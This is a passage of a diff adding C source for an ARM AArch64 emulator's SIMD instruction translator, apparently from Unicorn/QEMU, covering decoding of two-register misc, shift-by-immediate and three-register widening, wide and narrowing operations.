extract32(insn, 29, 1); + bool is_fcvt = false; + int rmode; + TCGv_i32 tcg_rmode; + TCGv_ptr tcg_fpstatus; + + switch (opcode) { + case 0x3: /* USQADD / SUQADD*/ + if (!fp_access_check(s)) { + return; + } + handle_2misc_satacc(s, true, u, false, size, rn, rd); + return; + case 0x7: /* SQABS / SQNEG */ + break; + case 0xa: /* CMLT */ + if (u) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x8: /* CMGT, CMGE */ + case 0x9: /* CMEQ, CMLE */ + case 0xb: /* ABS, NEG */ + if (size != 3) { + unallocated_encoding(s); + return; + } + break; + case 0x12: /* SQXTUN */ + if (!u) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x14: /* SQXTN, UQXTN */ + if (size == 3) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + handle_2misc_narrow(s, true, opcode, u, false, size, rn, rd); + return; + case 0x0c: case 0x0d: case 0x0e: case 0x0f: + case 0x16: case 0x17: case 0x18: case 0x19: case 0x1a: case 0x1b: case 0x1c: case 0x1d: + case 0x1f: + /* Floating point: U, size[1] and opcode indicate operation; + * size[0] indicates single or double precision. + */ + opcode |= (extract32(size, 1, 1) << 5) | (u << 6); + size = extract32(size, 0, 1) ? 3 : 2; + switch (opcode) { + case 0x2c: /* FCMGT (zero) */ + case 0x2d: /* FCMEQ (zero) */ + case 0x2e: /* FCMLT (zero) */ + case 0x6c: /* FCMGE (zero) */ + case 0x6d: /* FCMLE (zero) */ + handle_2misc_fcmp_zero(s, opcode, true, u, true, size, rn, rd); + return; + case 0x1d: /* SCVTF */ + case 0x5d: /* UCVTF */ + { + bool is_signed = (opcode == 0x1d); + if (!fp_access_check(s)) { + return; + } + handle_simd_intfp_conv(s, rd, rn, 1, is_signed, 0, size); + return; + } + case 0x3d: /* FRECPE */ + case 0x3f: /* FRECPX */ + case 0x7d: /* FRSQRTE */ + if (!fp_access_check(s)) { + return; + } + handle_2misc_reciprocal(s, opcode, true, u, true, size, rn, rd); + return; + case 0x1a: /* FCVTNS */ + case 0x1b: /* FCVTMS */ + case 0x3a: /* FCVTPS */ + case 0x3b: /* FCVTZS */ + case 0x5a: /* FCVTNU */ + case 0x5b: /* FCVTMU */ + case 0x7a: /* FCVTPU */ + case 0x7b: /* FCVTZU */ + is_fcvt = true; + rmode = extract32(opcode, 5, 1) | (extract32(opcode, 0, 1) << 1); + break; + case 0x1c: /* FCVTAS */ + case 0x5c: /* FCVTAU */ + /* TIEAWAY doesn't fit in the usual rounding mode encoding */ + is_fcvt = true; + rmode = FPROUNDING_TIEAWAY; + break; + case 0x56: /* FCVTXN, FCVTXN2 */ + if (size == 2) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + handle_2misc_narrow(s, true, opcode, u, false, size - 1, rn, rd); + return; + default: + unallocated_encoding(s); + return; + } + break; + default: + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + if (is_fcvt) { + tcg_rmode = tcg_const_i32(tcg_ctx, arm_rmode_to_sf(rmode)); + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_fpstatus = get_fpstatus_ptr(tcg_ctx); + } else { + TCGV_UNUSED_I32(tcg_rmode); + TCGV_UNUSED_PTR(tcg_fpstatus); + } + + if (size == 3) { + TCGv_i64 tcg_rn = read_fp_dreg(s, rn); + TCGv_i64 tcg_rd = tcg_temp_new_i64(tcg_ctx); + + handle_2misc_64(s, opcode, u, tcg_rd, tcg_rn, tcg_rmode, tcg_fpstatus); + write_fp_dreg(s, rd, tcg_rd); + tcg_temp_free_i64(tcg_ctx, tcg_rd); + tcg_temp_free_i64(tcg_ctx, tcg_rn); + } else { + TCGv_i32 tcg_rn = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_rd = tcg_temp_new_i32(tcg_ctx); + + read_vec_element_i32(s, tcg_rn, rn, 0, size); + + switch (opcode) { + case 0x7: /* SQABS, SQNEG */ + { + NeonGenOneOpEnvFn *genfn; + static NeonGenOneOpEnvFn * const fns[3][2] = { + { gen_helper_neon_qabs_s8, gen_helper_neon_qneg_s8 }, + { gen_helper_neon_qabs_s16, gen_helper_neon_qneg_s16 }, + { gen_helper_neon_qabs_s32, gen_helper_neon_qneg_s32 }, + }; + genfn = fns[size][u]; + genfn(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn); + break; + } + case 0x1a: /* FCVTNS */ + case 0x1b: /* FCVTMS */ + case 0x1c: /* FCVTAS */ + case 0x3a: /* FCVTPS */ + case 0x3b: /* FCVTZS */ + { + TCGv_i32 tcg_shift = tcg_const_i32(tcg_ctx, 0); + gen_helper_vfp_tosls(tcg_ctx, tcg_rd, tcg_rn, tcg_shift, tcg_fpstatus); + tcg_temp_free_i32(tcg_ctx, tcg_shift); + break; + } + case 0x5a: /* FCVTNU */ + case 0x5b: /* FCVTMU */ + case 0x5c: /* FCVTAU */ + case 0x7a: /* FCVTPU */ + case 0x7b: /* FCVTZU */ + { + TCGv_i32 tcg_shift = tcg_const_i32(tcg_ctx, 0); + gen_helper_vfp_touls(tcg_ctx, tcg_rd, tcg_rn, tcg_shift, tcg_fpstatus); + tcg_temp_free_i32(tcg_ctx, tcg_shift); + break; + } + default: + g_assert_not_reached(); + } + + write_fp_sreg(s, rd, tcg_rd); + tcg_temp_free_i32(tcg_ctx, tcg_rd); + tcg_temp_free_i32(tcg_ctx, tcg_rn); + } + + if (is_fcvt) { + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); + tcg_temp_free_ptr(tcg_ctx, tcg_fpstatus); + } +} + +/* SSHR[RA]/USHR[RA] - Vector shift right (optional rounding/accumulate) */ +static void handle_vec_simd_shri(DisasContext *s, bool is_q, bool is_u, + int immh, int immb, int opcode, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = 32 - clz32(immh) - 1; + int immhb = immh << 3 | immb; + int shift = 2 * (8 << size) - immhb; + bool accumulate = false; + bool round = false; + bool insert = false; + int dsize = is_q ? 128 : 64; + int esize = 8 << size; + int elements = dsize/esize; + TCGMemOp memop = size | (is_u ? 0 : MO_SIGN); + TCGv_i64 tcg_rn = new_tmp_a64(s); + TCGv_i64 tcg_rd = new_tmp_a64(s); + TCGv_i64 tcg_round; + int i; + + if (extract32(immh, 3, 1) && !is_q) { + unallocated_encoding(s); + return; + } + + if (size > 3 && !is_q) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + switch (opcode) { + case 0x02: /* SSRA / USRA (accumulate) */ + accumulate = true; + break; + case 0x04: /* SRSHR / URSHR (rounding) */ + round = true; + break; + case 0x06: /* SRSRA / URSRA (accum + rounding) */ + accumulate = round = true; + break; + case 0x08: /* SRI */ + insert = true; + break; + } + + if (round) { + uint64_t round_const = 1ULL << (shift - 1); + tcg_round = tcg_const_i64(tcg_ctx, round_const); + } else { + TCGV_UNUSED_I64(tcg_round); + } + + for (i = 0; i < elements; i++) { + read_vec_element(s, tcg_rn, rn, i, memop); + if (accumulate || insert) { + read_vec_element(s, tcg_rd, rd, i, memop); + } + + if (insert) { + handle_shri_with_ins(tcg_ctx, tcg_rd, tcg_rn, size, shift); + } else { + handle_shri_with_rndacc(s, tcg_rd, tcg_rn, tcg_round, + accumulate, is_u, size, shift); + } + + write_vec_element(s, tcg_rd, rd, i, size); + } + + if (!is_q) { + clear_vec_high(s, rd); + } + + if (round) { + tcg_temp_free_i64(tcg_ctx, tcg_round); + } +} + +/* SHL/SLI - Vector shift left */ +static void handle_vec_simd_shli(DisasContext *s, bool is_q, bool insert, + int immh, int immb, int opcode, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = 32 - clz32(immh) - 1; + int immhb = immh << 3 | immb; + int shift = immhb - (8 << size); + int dsize = is_q ? 128 : 64; + int esize = 8 << size; + int elements = dsize/esize; + TCGv_i64 tcg_rn = new_tmp_a64(s); + TCGv_i64 tcg_rd = new_tmp_a64(s); + int i; + + if (extract32(immh, 3, 1) && !is_q) { + unallocated_encoding(s); + return; + } + + if (size > 3 && !is_q) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + for (i = 0; i < elements; i++) { + read_vec_element(s, tcg_rn, rn, i, size); + if (insert) { + read_vec_element(s, tcg_rd, rd, i, size); + } + + handle_shli_with_ins(tcg_ctx, tcg_rd, tcg_rn, insert, shift); + + write_vec_element(s, tcg_rd, rd, i, size); + } + + if (!is_q) { + clear_vec_high(s, rd); + } +} + +/* USHLL/SHLL - Vector shift left with widening */ +static void handle_vec_simd_wshli(DisasContext *s, bool is_q, bool is_u, + int immh, int immb, int opcode, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = 32 - clz32(immh) - 1; + int immhb = immh << 3 | immb; + int shift = immhb - (8 << size); + int dsize = 64; + int esize = 8 << size; + int elements = dsize/esize; + TCGv_i64 tcg_rn = new_tmp_a64(s); + TCGv_i64 tcg_rd = new_tmp_a64(s); + int i; + + if (size >= 3) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + /* For the LL variants the store is larger than the load, + * so if rd == rn we would overwrite parts of our input. + * So load everything right now and use shifts in the main loop. + */ + read_vec_element(s, tcg_rn, rn, is_q ? 1 : 0, MO_64); + + for (i = 0; i < elements; i++) { + tcg_gen_shri_i64(tcg_ctx, tcg_rd, tcg_rn, i * esize); + ext_and_shift_reg(tcg_ctx, tcg_rd, tcg_rd, size | (!is_u << 2), 0); + tcg_gen_shli_i64(tcg_ctx, tcg_rd, tcg_rd, shift); + write_vec_element(s, tcg_rd, rd, i, size + 1); + } +} + +/* SHRN/RSHRN - Shift right with narrowing (and potential rounding) */ +static void handle_vec_simd_shrn(DisasContext *s, bool is_q, + int immh, int immb, int opcode, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int immhb = immh << 3 | immb; + int size = 32 - clz32(immh) - 1; + int dsize = 64; + int esize = 8 << size; + int elements = dsize/esize; + int shift = (2 * esize) - immhb; + bool round = extract32(opcode, 0, 1); + TCGv_i64 tcg_rn, tcg_rd, tcg_final; + TCGv_i64 tcg_round; + int i; + + if (extract32(immh, 3, 1)) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + tcg_rn = tcg_temp_new_i64(tcg_ctx); + tcg_rd = tcg_temp_new_i64(tcg_ctx); + tcg_final = tcg_temp_new_i64(tcg_ctx); + read_vec_element(s, tcg_final, rd, is_q ? 1 : 0, MO_64); + + if (round) { + uint64_t round_const = 1ULL << (shift - 1); + tcg_round = tcg_const_i64(tcg_ctx, round_const); + } else { + TCGV_UNUSED_I64(tcg_round); + } + + for (i = 0; i < elements; i++) { + read_vec_element(s, tcg_rn, rn, i, size+1); + handle_shri_with_rndacc(s, tcg_rd, tcg_rn, tcg_round, + false, true, size+1, shift); + + tcg_gen_deposit_i64(tcg_ctx, tcg_final, tcg_final, tcg_rd, esize * i, esize); + } + + if (!is_q) { + clear_vec_high(s, rd); + write_vec_element(s, tcg_final, rd, 0, MO_64); + } else { + write_vec_element(s, tcg_final, rd, 1, MO_64); + } + + if (round) { + tcg_temp_free_i64(tcg_ctx, tcg_round); + } + tcg_temp_free_i64(tcg_ctx, tcg_rn); + tcg_temp_free_i64(tcg_ctx, tcg_rd); + tcg_temp_free_i64(tcg_ctx, tcg_final); + return; +} + + +/* C3.6.14 AdvSIMD shift by immediate + * 31 30 29 28 23 22 19 18 16 15 11 10 9 5 4 0 + * +---+---+---+-------------+------+------+--------+---+------+------+ + * | 0 | Q | U | 0 1 1 1 1 0 | immh | immb | opcode | 1 | Rn | Rd | + * +---+---+---+-------------+------+------+--------+---+------+------+ + */ +static void disas_simd_shift_imm(DisasContext *s, uint32_t insn) +{ + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int opcode = extract32(insn, 11, 5); + int immb = extract32(insn, 16, 3); + int immh = extract32(insn, 19, 4); + bool is_u = extract32(insn, 29, 1); + bool is_q = extract32(insn, 30, 1); + + switch (opcode) { + case 0x08: /* SRI */ + if (!is_u) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x00: /* SSHR / USHR */ + case 0x02: /* SSRA / USRA (accumulate) */ + case 0x04: /* SRSHR / URSHR (rounding) */ + case 0x06: /* SRSRA / URSRA (accum + rounding) */ + handle_vec_simd_shri(s, is_q, is_u, immh, immb, opcode, rn, rd); + break; + case 0x0a: /* SHL / SLI */ + handle_vec_simd_shli(s, is_q, is_u, immh, immb, opcode, rn, rd); + break; + case 0x10: /* SHRN */ + case 0x11: /* RSHRN / SQRSHRUN */ + if (is_u) { + handle_vec_simd_sqshrn(s, false, is_q, false, true, immh, immb, + opcode, rn, rd); + } else { + handle_vec_simd_shrn(s, is_q, immh, immb, opcode, rn, rd); + } + break; + case 0x12: /* SQSHRN / UQSHRN */ + case 0x13: /* SQRSHRN / UQRSHRN */ + handle_vec_simd_sqshrn(s, false, is_q, is_u, is_u, immh, immb, + opcode, rn, rd); + break; + case 0x14: /* SSHLL / USHLL */ + handle_vec_simd_wshli(s, is_q, is_u, immh, immb, opcode, rn, rd); + break; + case 0x1c: /* SCVTF / UCVTF */ + handle_simd_shift_intfp_conv(s, false, is_q, is_u, immh, immb, + opcode, rn, rd); + break; + case 0xc: /* SQSHLU */ + if (!is_u) { + unallocated_encoding(s); + return; + } + handle_simd_qshl(s, false, is_q, false, true, immh, immb, rn, rd); + break; + case 0xe: /* SQSHL, UQSHL */ + handle_simd_qshl(s, false, is_q, is_u, is_u, immh, immb, rn, rd); + break; + case 0x1f: /* FCVTZS/ FCVTZU */ + handle_simd_shift_fpint_conv(s, false, is_q, is_u, immh, immb, rn, rd); + return; + default: + unallocated_encoding(s); + return; + } +} + +/* Generate code to do a "long" addition or subtraction, ie one done in + * TCGv_i64 on vector lanes twice the width specified by size. + */ +static void gen_neon_addl(TCGContext *tcg_ctx, int size, bool is_sub, TCGv_i64 tcg_res, + TCGv_i64 tcg_op1, TCGv_i64 tcg_op2) +{ + static NeonGenTwo64OpFn * const fns[3][2] = { + { gen_helper_neon_addl_u16, gen_helper_neon_subl_u16 }, + { gen_helper_neon_addl_u32, gen_helper_neon_subl_u32 }, + { tcg_gen_add_i64, tcg_gen_sub_i64 }, + }; + NeonGenTwo64OpFn *genfn; + assert(size < 3); + + genfn = fns[size][is_sub]; + genfn(tcg_ctx, tcg_res, tcg_op1, tcg_op2); +} + +static void handle_3rd_widening(DisasContext *s, int is_q, int is_u, int size, + int opcode, int rd, int rn, int rm) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* 3-reg-different widening insns: 64 x 64 -> 128 */ + TCGv_i64 tcg_res[2]; + int pass, accop; + + tcg_res[0] = tcg_temp_new_i64(tcg_ctx); + tcg_res[1] = tcg_temp_new_i64(tcg_ctx); + + /* Does this op do an adding accumulate, a subtracting accumulate, + * or no accumulate at all? + */ + switch (opcode) { + case 5: + case 8: + case 9: + accop = 1; + break; + case 10: + case 11: + accop = -1; + break; + default: + accop = 0; + break; + } + + if (accop != 0) { + read_vec_element(s, tcg_res[0], rd, 0, MO_64); + read_vec_element(s, tcg_res[1], rd, 1, MO_64); + } + + /* size == 2 means two 32x32->64 operations; this is worth special + * casing because we can generally handle it inline. + */ + if (size == 2) { + for (pass = 0; pass < 2; pass++) { + TCGv_i64 tcg_op1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_op2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_passres; + TCGMemOp memop = MO_32 | (is_u ? 0 : MO_SIGN); + + int elt = pass + is_q * 2; + + read_vec_element(s, tcg_op1, rn, elt, memop); + read_vec_element(s, tcg_op2, rm, elt, memop); + + if (accop == 0) { + tcg_passres = tcg_res[pass]; + } else { + tcg_passres = tcg_temp_new_i64(tcg_ctx); + } + + switch (opcode) { + case 0: /* SADDL, SADDL2, UADDL, UADDL2 */ + tcg_gen_add_i64(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + break; + case 2: /* SSUBL, SSUBL2, USUBL, USUBL2 */ + tcg_gen_sub_i64(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + break; + case 5: /* SABAL, SABAL2, UABAL, UABAL2 */ + case 7: /* SABDL, SABDL2, UABDL, UABDL2 */ + { + TCGv_i64 tcg_tmp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_tmp2 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_sub_i64(tcg_ctx, tcg_tmp1, tcg_op1, tcg_op2); + tcg_gen_sub_i64(tcg_ctx, tcg_tmp2, tcg_op2, tcg_op1); + tcg_gen_movcond_i64(tcg_ctx, is_u ? TCG_COND_GEU : TCG_COND_GE, + tcg_passres, + tcg_op1, tcg_op2, tcg_tmp1, tcg_tmp2); + tcg_temp_free_i64(tcg_ctx, tcg_tmp1); + tcg_temp_free_i64(tcg_ctx, tcg_tmp2); + break; + } + case 8: /* SMLAL, SMLAL2, UMLAL, UMLAL2 */ + case 10: /* SMLSL, SMLSL2, UMLSL, UMLSL2 */ + case 12: /* UMULL, UMULL2, SMULL, SMULL2 */ + tcg_gen_mul_i64(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + break; + case 9: /* SQDMLAL, SQDMLAL2 */ + case 11: /* SQDMLSL, SQDMLSL2 */ + case 13: /* SQDMULL, SQDMULL2 */ + tcg_gen_mul_i64(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + gen_helper_neon_addl_saturate_s64(tcg_ctx, tcg_passres, tcg_ctx->cpu_env, + tcg_passres, tcg_passres); + break; + default: + g_assert_not_reached(); + } + + if (opcode == 9 || opcode == 11) { + /* saturating accumulate ops */ + if (accop < 0) { + tcg_gen_neg_i64(tcg_ctx, tcg_passres, tcg_passres); + } + gen_helper_neon_addl_saturate_s64(tcg_ctx, tcg_res[pass], tcg_ctx->cpu_env, + tcg_res[pass], tcg_passres); + } else if (accop > 0) { + tcg_gen_add_i64(tcg_ctx, tcg_res[pass], tcg_res[pass], tcg_passres); + } else if (accop < 0) { + tcg_gen_sub_i64(tcg_ctx, tcg_res[pass], tcg_res[pass], tcg_passres); + } + + if (accop != 0) { + tcg_temp_free_i64(tcg_ctx, tcg_passres); + } + + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + } + } else { + /* size 0 or 1, generally helper functions */ + for (pass = 0; pass < 2; pass++) { + TCGv_i32 tcg_op1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_op2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 tcg_passres; + int elt = pass + is_q * 2; + + read_vec_element_i32(s, tcg_op1, rn, elt, MO_32); + read_vec_element_i32(s, tcg_op2, rm, elt, MO_32); + + if (accop == 0) { + tcg_passres = tcg_res[pass]; + } else { + tcg_passres = tcg_temp_new_i64(tcg_ctx); + } + + switch (opcode) { + case 0: /* SADDL, SADDL2, UADDL, UADDL2 */ + case 2: /* SSUBL, SSUBL2, USUBL, USUBL2 */ + { + TCGv_i64 tcg_op2_64 = tcg_temp_new_i64(tcg_ctx); + static NeonGenWidenFn * const widenfns[2][2] = { + { gen_helper_neon_widen_s8, gen_helper_neon_widen_u8 }, + { gen_helper_neon_widen_s16, gen_helper_neon_widen_u16 }, + }; + NeonGenWidenFn *widenfn = widenfns[size][is_u]; + + widenfn(tcg_ctx, tcg_op2_64, tcg_op2); + widenfn(tcg_ctx, tcg_passres, tcg_op1); + gen_neon_addl(tcg_ctx, size, (opcode == 2), tcg_passres, + tcg_passres, tcg_op2_64); + tcg_temp_free_i64(tcg_ctx, tcg_op2_64); + break; + } + case 5: /* SABAL, SABAL2, UABAL, UABAL2 */ + case 7: /* SABDL, SABDL2, UABDL, UABDL2 */ + if (size == 0) { + if (is_u) { + gen_helper_neon_abdl_u16(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + } else { + gen_helper_neon_abdl_s16(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + } + } else { + if (is_u) { + gen_helper_neon_abdl_u32(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + } else { + gen_helper_neon_abdl_s32(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + } + } + break; + case 8: /* SMLAL, SMLAL2, UMLAL, UMLAL2 */ + case 10: /* SMLSL, SMLSL2, UMLSL, UMLSL2 */ + case 12: /* UMULL, UMULL2, SMULL, SMULL2 */ + if (size == 0) { + if (is_u) { + gen_helper_neon_mull_u8(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + } else { + gen_helper_neon_mull_s8(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + } + } else { + if (is_u) { + gen_helper_neon_mull_u16(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + } else { + gen_helper_neon_mull_s16(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + } + } + break; + case 9: /* SQDMLAL, SQDMLAL2 */ + case 11: /* SQDMLSL, SQDMLSL2 */ + case 13: /* SQDMULL, SQDMULL2 */ + assert(size == 1); + gen_helper_neon_mull_s16(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + gen_helper_neon_addl_saturate_s32(tcg_ctx, tcg_passres, tcg_ctx->cpu_env, + tcg_passres, tcg_passres); + break; + case 14: /* PMULL */ + assert(size == 0); + gen_helper_neon_mull_p8(tcg_ctx, tcg_passres, tcg_op1, tcg_op2); + break; + default: + g_assert_not_reached(); + } + tcg_temp_free_i32(tcg_ctx, tcg_op1); + tcg_temp_free_i32(tcg_ctx, tcg_op2); + + if (accop != 0) { + if (opcode == 9 || opcode == 11) { + /* saturating accumulate ops */ + if (accop < 0) { + gen_helper_neon_negl_u32(tcg_ctx, tcg_passres, tcg_passres); + } + gen_helper_neon_addl_saturate_s32(tcg_ctx, tcg_res[pass], tcg_ctx->cpu_env, + tcg_res[pass], + tcg_passres); + } else { + gen_neon_addl(tcg_ctx, size, (accop < 0), tcg_res[pass], + tcg_res[pass], tcg_passres); + } + tcg_temp_free_i64(tcg_ctx, tcg_passres); + } + } + } + + write_vec_element(s, tcg_res[0], rd, 0, MO_64); + write_vec_element(s, tcg_res[1], rd, 1, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_res[0]); + tcg_temp_free_i64(tcg_ctx, tcg_res[1]); +} + +static void handle_3rd_wide(DisasContext *s, int is_q, int is_u, int size, + int opcode, int rd, int rn, int rm) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_res[2]; + int part = is_q ? 2 : 0; + int pass; + + for (pass = 0; pass < 2; pass++) { + TCGv_i64 tcg_op1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i32 tcg_op2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 tcg_op2_wide = tcg_temp_new_i64(tcg_ctx); + static NeonGenWidenFn * const widenfns[3][2] = { + { gen_helper_neon_widen_s8, gen_helper_neon_widen_u8 }, + { gen_helper_neon_widen_s16, gen_helper_neon_widen_u16 }, + { tcg_gen_ext_i32_i64, tcg_gen_extu_i32_i64 }, + }; + NeonGenWidenFn *widenfn = widenfns[size][is_u]; + + read_vec_element(s, tcg_op1, rn, pass, MO_64); + read_vec_element_i32(s, tcg_op2, rm, part + pass, MO_32); + widenfn(tcg_ctx, tcg_op2_wide, tcg_op2); + tcg_temp_free_i32(tcg_ctx, tcg_op2); + tcg_res[pass] = tcg_temp_new_i64(tcg_ctx); + gen_neon_addl(tcg_ctx, size, (opcode == 3), + tcg_res[pass], tcg_op1, tcg_op2_wide); + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2_wide); + } + + for (pass = 0; pass < 2; pass++) { + write_vec_element(s, tcg_res[pass], rd, pass, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_res[pass]); + } +} + +static void do_narrow_high_u32(TCGContext *tcg_ctx, TCGv_i32 res, TCGv_i64 in) +{ + tcg_gen_shri_i64(tcg_ctx, in, in, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, res, in); +} + +static void do_narrow_round_high_u32(TCGContext *tcg_ctx, TCGv_i32 res, TCGv_i64 in) +{ + tcg_gen_addi_i64(tcg_ctx, in, in, 1U << 31); + do_narrow_high_u32(tcg_ctx, res, in); +} + +static void handle_3rd_narrowing(DisasContext *s, int is_q, int is_u, int size, + int opcode, int rd, int rn, int rm) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tcg_res[2]; + int part = is_q ? 2 : 0; + int pass; + + for (pass = 0; pass < 2; pass++) { + TCGv_i64 tcg_op1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_op2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_wideres = tcg_temp_new_i64(tcg_ctx); + static NeonGenNarrowFn * const narrowfns[3][2] = { + { gen_helper_neon_narrow_high_u8, + gen_helper_neon_narrow_round_high_u8 }, + { gen_helper_neon_narrow_high_u16, + gen_helper_neon_narrow_round_high_u16 }, + { do_narrow_high_u32, do_narrow_round_high_u32 }, + }; + NeonGenNarrowFn *gennarrow = narrowfns[size][is_u]; + + read_vec_element(s, tcg_op1, rn, pass, MO_64); + read_vec_element(s, tcg_op2, rm, pass, MO_64); + + gen_neon_addl(tcg_ctx, size, (opcode == 6), tcg_wideres, tcg_op1, tcg_op2); + + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + + tcg_res[pass] = tcg_temp_new_i32(tcg_ctx); + gennarrow(tcg_ctx, tcg_res[pass], tcg_wideres); + tcg_temp_free_i64(tcg_ctx, tcg_wideres); + } + + for (pass = 0; pass < 2; pass++) { + write_vec_element_i32(s, tcg_res[pass], rd, pass + part, MO_32); + tcg_temp_free_i32(tcg_ctx, tcg_res[pass]); + } + if (!is_q) { + clear_vec_high(s, rd); + } +} + +static void handle_pmull_64(DisasContext *s, int is_q, int rd, int rn, int rm) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* PMULL of 64 x 64 -> 128 is an odd special case because it + * is the only three-reg-diff instruction which produces a + * 128-bit wide result from a single operation. However since + * it's possible to calculate the two halves more or less + * separately we just use two helper calls. + */ + TCGv_i64 tcg_op1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_op2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op1, rn, is_q, MO_64); + read_vec_element(s, tcg_op2, rm, is_q, MO_64); + gen_helper_neon_pmull_64_lo(tcg_ctx, tcg_res, tcg_op1, tcg_op2); + write_vec_element(s, tcg_res, rd, 0, MO_64); + gen_helper_neon_pmull_64_hi(tcg_ctx, tcg_res, tcg_op1, tcg_op2); + write_vec_element(s, tcg_res, rd, 1, MO_64); + + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + tcg_temp_free_i64(tcg_ctx, tcg_res); +} + +/* C3.6.15 AdvSIMD three different + * 31 30 29 28 24 23 22 21 20 16 15 12 11 10 9 5 4 0 + * +---+---+---+-----------+------+---+------+--------+-----+------+------+ + * | 0 | Q | U | 0 1 1 1 0 | size | 1 | Rm | opcode | 0 0 | Rn | Rd | + * +---+---+---+-----------+------+---+------+--------+-----+------+------+ + */ +static void disas_simd_three_reg_diff(DisasContext *s, uint32_t insn) +{ + /* Instructions in this group fall into three basic classes + * (in each case with the operation working on each element in + * the input vectors): + * (1) widening 64 x 64 -> 128 (with possibly Vd as an extra + * 128 bit input) + * (2) wide 64 x 128 -> 128 + * (3) narrowing 128 x 128 -> 64 + * Here we do initial decode, catch unallocated cases and + * dispatch to separate functions for each class. + */ + int is_q = extract32(insn, 30, 1); + int is_u = extract32(insn, 29, 1); + int size = extract32(insn, 22, 2); + int opcode = extract32(insn, 12, 4); + int rm = extract32(insn, 16, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + + switch (opcode) { + case 1: /* SADDW, SADDW2, UADDW, UADDW2 */ + case 3: /* SSUBW, SSUBW2, USUBW, USUBW2 */ + /* 64 x 128 -> 128 */ + if (size == 3) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + handle_3rd_wide(s, is_q, is_u, size, opcode, rd, rn, rm); + break; + case 4: /* ADDHN, ADDHN2, RADDHN, RADDHN2 */ + case 6: /* SUBHN, SUBHN2, RSUBHN, RSUBHN2 */ + /* 128 x 128 -> 64 */ + if (size == 3) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + handle_3rd_narrowing(s, is_q, is_u, size, opcode, rd, rn, rm); + break; + case 14: /* PMULL, PMULL2 */ + if (is_u || size == 1 || size == 2) { + unallocated_encoding(s); + return; + } + if (size == 3) { + if (!arm_dc_feature(s, ARM_FEATURE_V8_PMULL)) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + handle_pmull_64(s, is_q, rd, rn, rm); + return; + } + goto is_widening; + case 9: /* SQDMLAL, SQDMLAL2 */ + case 11: /* SQDMLSL, SQDMLSL2 */ + case 13: /* SQDMULL, SQDMULL2 */ + if (is_u || size == 0) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0: /* SADDL, SADDL2, UADDL, UADDL2 */ + case 2: /* SSUBL, SSUBL2, USUBL, USUBL2 */ + case 5: /* SABAL, SABAL2, UABAL, UABAL2 */ + case 7: /* SABDL, SABDL2, 